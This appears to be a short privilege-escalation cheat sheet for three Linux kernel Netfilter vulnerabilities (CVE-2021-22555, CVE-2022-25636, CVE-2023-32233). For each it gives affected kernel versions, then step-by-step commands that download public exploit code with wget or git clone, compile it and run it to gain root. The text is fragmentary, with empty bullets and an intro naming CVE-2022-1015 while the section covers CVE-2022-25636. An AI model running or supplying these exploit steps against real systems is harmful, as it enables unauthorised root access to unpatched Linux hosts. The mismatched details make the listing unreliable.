Netfilter

• 
• (CVE-2021-22555), 2022 (CVE-2022-1015), and also in 2023 (CVE-2023-32233),
• 

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CVE-2021-22555

• Vulnerable kernel versions: 2.6 - 5.11
• EXPLOIT
• uname -r
• wget https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
  • gcc -m32 -static exploit.c -o exploit
  • ./exploit

CVE-2022-25636

• affects Linux kernel 5.4 - 5.6.10.
• This is net/netfilter/nf_dup_netdev.c
• EXPLOIT
• git clone https://github.com/Bonfee/CVE-2022-25636.git
  • cd CVE-2022-25636
  • make
  • ./exploit

CVE-2023-32233

• vulnerability in the Linux Kernel up to version 6.3.1.
• 
• EXPLOIT
• git clone https://github.com/Liuk3r/CVE-2023-32233
  • cd CVE-2023-32233
  • gcc -Wall -o exploit exploit.c -lmnl -lnftnl
  • ./exploit